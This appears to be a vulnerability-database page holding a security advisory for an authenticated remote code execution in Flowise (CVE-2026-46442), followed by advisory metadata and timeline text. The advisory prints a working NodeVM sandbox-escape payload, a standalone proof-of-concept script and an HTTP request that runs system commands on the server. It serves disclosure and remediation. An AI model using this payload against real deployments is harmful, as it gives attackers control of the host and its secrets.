  "details": "### Summary\n\n`POST /api/v1/node-custom-function` lacks route-level authorization, allowing any authenticated user or API key to submit arbitrary JavaScript to the `Custom JS Function` node.\n\nWhen `E2B_APIKEY` is not configured \u2014 the common deployment case \u2014 Flowise executes this code inside a `NodeVM` sandbox. This sandbox can be escaped, allowing an attacker to reach the host `process` object and execute system commands via `child_process`.\n\nThe result is authenticated remote code execution on the Flowise server host. CVSS v3.1: `AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H` = **9.9 Critical**.\n\n### Details\n\nTwo distinct security boundaries are violated.\n\n**1. Missing route-level authorization**\n\n`packages/server/src/routes/node-custom-functions/index.ts` registers the endpoint with no permission middleware:\n\n```ts\nrouter.post(\u0027/\u0027, nodesRouter.executeCustomFunction)\n```\n\nOther sensitive routes in the same codebase use explicit permission gates:\n\n```ts\n// packages/server/src/routes/chatflows/index.ts\nrouter.post(\n  \u0027/\u0027,\n  checkAnyPermission(\u0027chatflows:create,chatflows:update,agentflows:create,agentflows:update\u0027),\n  chatflowsController.saveChatflow\n)\n```\n\nGlobal `/api/v1` authentication still applies, so this is not unauthenticated \u2014 but any valid session or API key reaches the endpoint without further restriction.\n\n**2. NodeVM sandbox escape**\n\nThe endpoint forwards `body.javascriptFunction` through the following chain:\n\n```\nPOST /api/v1/node-custom-function\n  \u2192 packages/server/src/controllers/nodes/index.ts\n  \u2192 packages/server/src/utils/executeCustomNodeFunction.ts\n  \u2192 packages/components/nodes/utilities/CustomFunction/CustomFunction.ts\n    executeJavaScriptCode(javascriptFunction, sandbox)\n  \u2192 packages/components/src/utils.ts\n    if !process.env.E2B_APIKEY \u2192 NodeVM fallback\n  \u2192 [SINK] host process / child_process\n```\n\n`packages/components/src/utils.ts` only uses the external E2B sandbox when `E2B_APIKEY` is set. Otherwise it silently falls back to `@flowiseai/nodevm`:\n\n```ts\nconst shouldUseSandbox = useSandbox \u0026\u0026 process.env.E2B_APIKEY\n```\n\nFlowise explicitly frames this as a sandboxed execution path \u2014 the helper is named `createCodeExecutionSandbox`, its inline comment reads `Execute JavaScript code using either Sandbox or NodeVM`, and the NodeVM instance is configured with `eval: false`, `wasm: false`, and mocked HTTP clients. The sandbox is a real declared security boundary, not incidental isolation.\n\nThese controls do not prevent escape. The payload abuses an exception path where an `Error` object escapes the NodeVM boundary. Because the error originates from the host runtime, its constructor chain resolves to the outer Node.js realm. This allows recovery of the host `Function` constructor (`e.constructor.constructor`), which can then access `process` and built-in modules such as `child_process`:\n\n```js\nconst FunctionCtor = e.constructor.constructor;\nconst cp = FunctionCtor(\u0027return process.getBuiltinModule(\"child_process\")\u0027)();\nreturn cp.execSync(\u0027id\u0027).toString().trim();\n```\n\nThe NodeVM fallback is the practical default. `packages/server/.env.example` and `CONTRIBUTING.md` do not require `E2B_APIKEY` for custom JS execution, so most deployments are affected.\n\n### PoC\n\n**Standalone verification** (run from the repository root with `E2B_APIKEY` unset):\n\n```js\n// poc_Flowise_NodeCustomFunction_RCE_2026.js\nconst path = require(\u0027path\u0027);\n\ndelete process.env.E2B_APIKEY;\nprocess.env.TS_NODE_COMPILER_OPTIONS = JSON.stringify({ moduleResolution: \u0027NodeNext\u0027 });\n\nrequire(path.resolve(\u0027targets/Flowise/node_modules/ts-node/register/transpile-only\u0027));\n\nconst { nodeClass: CustomFunction } = require(path.resolve(\n  \u0027targets/Flowise/packages/components/nodes/utilities/CustomFunction/CustomFunction.ts\u0027\n));\n\nconst attackCode = `\nasync function f() {\n  const error = new Error();\n  error.name = Object.create(null);\n  return error.stack;\n}\nreturn await f().catch(e =\u003e {\n  const FunctionCtor = e.constructor.constructor;\n  const cp = FunctionCtor(\u0027return process.getBuiltinModule(\"child_process\")\u0027)();\n  return cp.execSync(\u0027id\u0027).toString().trim();\n});\n`;\n\n(async () =\u003e {\n  const node = new CustomFunction();\n  const result = await node.init(\n    { inputs: { javascriptFunction: attackCode } },\n    \u0027\u0027,\n    { appDataSource: {}, databaseEntities: {}, workspaceId: undefined, orgId: undefined }\n  );\n  console.log(\u0027[RCE OUTPUT]\u0027, result);\n})();\n```\n\nConfirmed output:\n\n```\n[RCE OUTPUT] uid=501(researcher) gid=20(staff) groups=20(staff),...\n```\n\n**HTTP trigger** (requires a valid API key or session):\n\n```http\nPOST /api/v1/node-custom-function HTTP/1.1\nHost: target:3000\nAuthorization: Bearer \u003cvalid-api-key\u003e\nContent-Type: application/json\n\n{\n  \"javascriptFunction\": \"async function f(){const error=new Error();error.name=Object.create(null);return error.stack;} return await f().catch(e=\u003e{const F=e.constructor.constructor;const cp=F(\u0027return process.getBuiltinModule(\\\"child_process\\\")\u0027)();return cp.execSync(\u0027id\u0027).toString().trim();});\"\n}\n```\n\n### Impact\n\nAny authenticated Flowise user or holder of a standard API key can execute arbitrary commands as the Flowise server process. This includes reading environment variables and secrets, arbitrary filesystem access, outbound network requests from the host, and a foothold for persistence or lateral movement.\n\nThe NodeVM fallback is the default for any deployment without `E2B_APIKEY` configured, which covers the majority of self-hosted instances.\n\n**Recommended remediation:**\n1. Add explicit permission gating to `POST /api/v1/node-custom-function` using the existing `checkPermission` middleware pattern.\n2. Fail closed if `E2B_APIKEY` is absent \u2014 do not silently downgrade to NodeVM for untrusted code execution.\n3. Restrict this endpoint from generic API key access.",
  "id": "GHSA-9rvc-vf7m-pgm2",
  "modified": "2026-06-09T13:10:17Z",
  "published": "2026-05-14T14:57:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-9rvc-vf7m-pgm2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46442"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FlowiseAI/Flowise"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.1.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "FlowiseAI: Authenticated Host RCE via POST /api/v1/node-custom-function and NodeVM Sandbox Escape"
}

WID-SEC-W-2026-1554

Vulnerability from csaf_certbund - Published: 2026-05-14 22:00 - Updated: 2026-06-08 22:00

Summary

Flowise: Mehrere Schwachstellen ermöglichen Codeausführung

Severity

Hoch

Scope

14 vulnerabilities in this advisory, including CVE-2026-46442.

CVE-2026-46442

Known affected: 1 product

Open the full advisory

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

Order JSON

How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

Publication & reservation Sightings KEV catalogs Other timestamps

Loading timeline…

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-46442 (GCVE-0-2026-46442)

Previdian

Known Exploited Vulnerability - GCVE BCP-07 Compliant

Timestamps

Scope

Evidence

Public Report Successful Exploitation Confidence: 70% Source: kevintel

Details

References

FKIE_CVE-2026-46442

GHSA-9RVC-VF7M-PGM2

Summary

Details

PoC

Impact

WID-SEC-W-2026-1554

Tags

Sightings

Nomenclature

Vulnerability timeline

Related by attack behaviour